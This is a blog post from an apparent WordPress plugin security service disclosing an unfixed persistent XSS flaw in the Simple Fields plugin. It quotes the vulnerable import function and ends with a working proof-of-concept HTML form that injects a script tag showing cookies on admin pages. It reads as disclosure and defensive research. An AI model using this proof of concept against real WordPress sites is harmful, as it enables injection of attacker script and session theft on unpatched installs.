16 Sep

Hackers May Already be Targeting this Persistent XSS Vulnerability in Simple Fields

As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may be using we monitor for what look to be hackers probing for usage of plugins. Last week through that we found two plugins with unfixed vulnerabilities that hackers would likely target. With a third plugin someone else had figure out what hackers would likely target before us (we are making changes to our process to improve our ability to quickly spot issues like that one). With a new week comes another instance of this. Yesterday we had an apparent hacker probing for usage of the plugin Simple Fields, which has 10,000+ installs, by requesting the following files:

  • /wp-content/plugins/simple-fields/scripts.js
  • /wp-content/plugins/simple-fields/readme.md

In looking into what the hacker might be interested in exploiting in that we found right away that there is a persistent cross-site scripting (XSS) vulnerability in the current version of the plugin that is similar to vulnerabilities that hackers have widely exploited recently. We saw other insecure code in the plugin and there look to be additional vulnerabilities, so the plugin should more thoroughly reviewed and secured before being used.

The vulnerability would have been something that the type of security review of WordPress plugins we do could have caught before it appears hackers found it or one of the other issues in the plugin.

The plugin registers the function maybe_do_import() to run during admin_init, which means it can be accessed even when not logged in to WordPress:

30
add_action("admin_init", array($this, "maybe_do_import"));

That function, which is located in the file /inc-admin-options-export-import.php, will import the plugin’s data without doing any security checks:

34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
function maybe_do_import() {
 
	if ( isset($_POST) && isset( $_POST["action"] ) && ( $_POST["action"] === "simple_fields_do_import" ) ) {
 
		if ("file" === $_POST["import-what"]) {
 
			if ( empty($_FILES["import-file"]["tmp_name"]) || ! is_uploaded_file($_FILES["import-file"]["tmp_name"]) ||  $_FILES["import-file"]["error"] !== 0 ) {
				wp_die( __("Import failed: something went wrong while uploading import file.", "simple-fields") );
			}
 
			$import_json = file_get_contents( $_FILES["import-file"]["tmp_name"] );
 
		} elseif ("textarea" === $_POST["import-what"]) {
 
			$import_json = stripslashes( $_POST["import-json"] );
 
		}
 
		// We have JSON contents from file or textarea
		// @todo: create function of the next part
		$arr_import = json_decode($import_json, true);
		if ( is_null( $arr_import ) ) {
			wp_die( __("Import failed: JSON data is not valid.", "simple-fields") );
		}
 
		$arr_field_groups = isset($arr_import["field_groups"]) ? (array) $arr_import["field_groups"] : array();
		$arr_post_type_defaults = isset($arr_import["post_type_defaults"]) ? (array) $arr_import["post_type_defaults"] : array();
		$arr_post_connectors = isset($arr_import["post_connectors"]) ? (array) $arr_import["post_connectors"] : array();
 
		$import_type = $_POST["simple-fields-import-type"];
		/*
		$import_type:
		replace
		overwrite-append
		append-new
		*/
		#sf_d( $arr_import, '$arr_import');
		
		if ( "replace" === $import_type) {
 
			// Just update our options with 
			update_option("simple_fields_post_connectors", $arr_post_connectors);
			update_option("simple_fields_groups", $arr_field_groups);
			update_option("simple_fields_post_type_defaults", $arr_post_type_defaults);

The code lacks a capabilities checks to limit access to importing the data to the users intended to be able to do it, a nonce check to prevent cross-site request forgery (CSRF), and sanitization to restrict JavaScript code from being saved.

As the proof of concept below shows, through that vulnerability an attacker could malicious JavaScript code to run when visiting various admins pages of the website, which is persistent cross-site scripting (XSS) vulnerability.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof concept will cause an alert box with any available cookies to be shown when accessing the editing page for posts and pages in WordPress’ admin area.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="simple_fields_do_import" />
<input type="hidden" name="import-what" value="textarea" />
<input type="hidden" name="simple-fields-import-type" value="replace" />
<input type="hidden" name="import-json" value='{
    "field_groups": {
        "1": {
            "id": 1,
            "key": "test",
            "slug": "test",
            "name": "test",
            "description": "",
            "repeatable": false,
            "fields": [],
            "fields_by_slug": [],
            "deleted": false,
            "gui_view": "list",
            "added_with_code": false,
            "fields_count": 0
        }
    },
    "post_connectors": {
        "1": {
            "id": 1,
            "key": "test",
            "slug": "test",
            "name": "\"><script>alert(document.cookie);<\/script>",
            "field_groups": {
                "1": {
                    "id": "1",
                    "name": "test",
                    "deleted": "0",
                    "context": "normal",
                    "priority": "low"
                }
            },
            "post_types": [
                "post",
                "page",
                "attachment",
                "custom_css",
                "customize_changeset",
                "oembed_cache",
                "user_request",
                "wp_block"
            ],
            "deleted": false,
            "hide_editor": false,
            "added_with_code": false,
            "field_groups_count": 1
        }
    },
    "post_type_defaults": [
        false
    ]
}' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.

Leave a Reply

Your email address will not be published. Required fields are marked *